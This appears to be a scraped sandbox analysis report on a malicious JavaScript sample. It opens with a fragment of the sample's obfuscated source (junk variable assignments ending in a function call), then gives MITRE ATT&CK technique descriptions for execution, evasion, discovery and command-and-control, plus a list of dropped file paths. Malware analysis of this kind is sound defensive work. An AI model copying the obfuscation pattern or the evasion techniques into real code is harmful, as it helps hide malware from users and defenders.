1385	pyhfrdaho = "W";
1386	pyhfrdaho = "J";
1387	pyhfrdaho = "l";
1388	pyhfrdaho = "R";
1389	pyhfrdaho = "N";
1390	pyhfrdaho = "t";
1391	pyhfrdaho = "c";
1392	pyhfrdaho = "V";
1393	pyhfrdaho = "o";
1394	pyhfrdaho = "o";
1395	pyhfrdaho = "B";
1396	pyhfrdaho = "w";
1397	pyhfrdaho = "o";
1398	pyhfrdaho = "O";
1399	pyhfrdaho = "Q";
1400	pyhfrdaho = "Y";
1401	pyhfrdaho = "j";
1402	pyhfrdaho = "l";
1403	pyhfrdaho = "w";
1404	pyhfrdaho = "R";
1405	pyhfrdaho = "A";
1406	pyhfrdaho = "v";
1407	pyhfrdaho = "y";
1408	pyhfrdaho = "G";
1409	pyhfrdaho = "j";
1410	pyhfrdaho = "j";
1411	pyhfrdaho = "H";
1412	pyhfrdaho = "j";
1413	pyhfrdaho = "j";
1414	pyhfrdaho = "t";
1415	pyhfrdaho = "m";
1416	zgpiby = "c";
1417	zgpiby = "B";
1418	zgpiby = "q";
1419	zgpiby = "L";
1420	zgpiby = "S";
1421	zgpiby = "y";
1422	zgpiby = "S";
1423	zgpiby = "A";
1424	zgpiby = "k";
1425	zgpiby = "j";
1426	zgpiby = "L";
1427	zgpiby = "C";
1428	zgpiby = "t";
1429	zgpiby = "D";
1430	zgpiby = "Q";
1431	zgpiby = "h";
1432	zgpiby = "o";
1433	zgpiby = "u";
1434	zgpiby = "B";
1435	zgpiby = "G";
1436	zgpiby = "A";
1437	zgpiby = "l";
1438	zgpiby = "h";
1439	zgpiby = "i";
1440	zgpiby = "z";
1441	zgpiby = "T";
1442	zgpiby = "l";
1443	zgpiby = "X";
1444	zgpiby = "R";
1445	zgpiby = "I";
1446	zgpiby = "N";
1447	zgpiby = "X";
1448	zgpiby = "Q";
1449	zgpiby = "Z";
1450	zgpiby = "w";
1451	xhkmmqfh = "w";
1452	xhkmmqfh = "c";
1453	xhkmmqfh = "h";
1454	xhkmmqfh = "P";
1455	xhkmmqfh = "e";
1456	xhkmmqfh = "c";
1457	xhkmmqfh = "w";
1458	xhkmmqfh = "f";
1459	xhkmmqfh = "B";
1460	xhkmmqfh = "o";
1461	xhkmmqfh = "z";
1462	xhkmmqfh = "F";
1463	rdgge = "W";
1464	rdgge = "t";
1465	rdgge = "Z";
1466	rdgge = "E";
1467	rdgge = "G";
1468	rdgge = "o";
1469	rdgge = "X";
1470	rdgge = "C";
1471	rdgge = "V";
1472	rdgge = "q";
1473	rdgge = "B";
1474	rdgge = "N";
1475	fzjujj = "d";
1476	fzjujj = "L";
1477	fzjujj = "V";
1478	fzjujj = "e";
1479	fzjujj = "N";
1480	fzjujj = "q";
1481	fzjujj = "u";
1482	fzjujj = "Z";
1483	fzjujj = "D";
1484	fzjujj = "t";
1485	fzjujj = "H";
1486	fzjujj = "E";
1487	fzjujj = "c";
1488	fzjujj = "V";
1489	fzjujj = "t";
1490	fzjujj = "P";
1491	fzjujj = "w";
1492	fzjujj = "3";
1493	gvqtznuen ( );	gvqtznuen() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 240815025266174071.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\0f3761ad-f0fb-42c5-afce-87b95941665e.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.8160

Windows Analysis Report
240815025266174071.js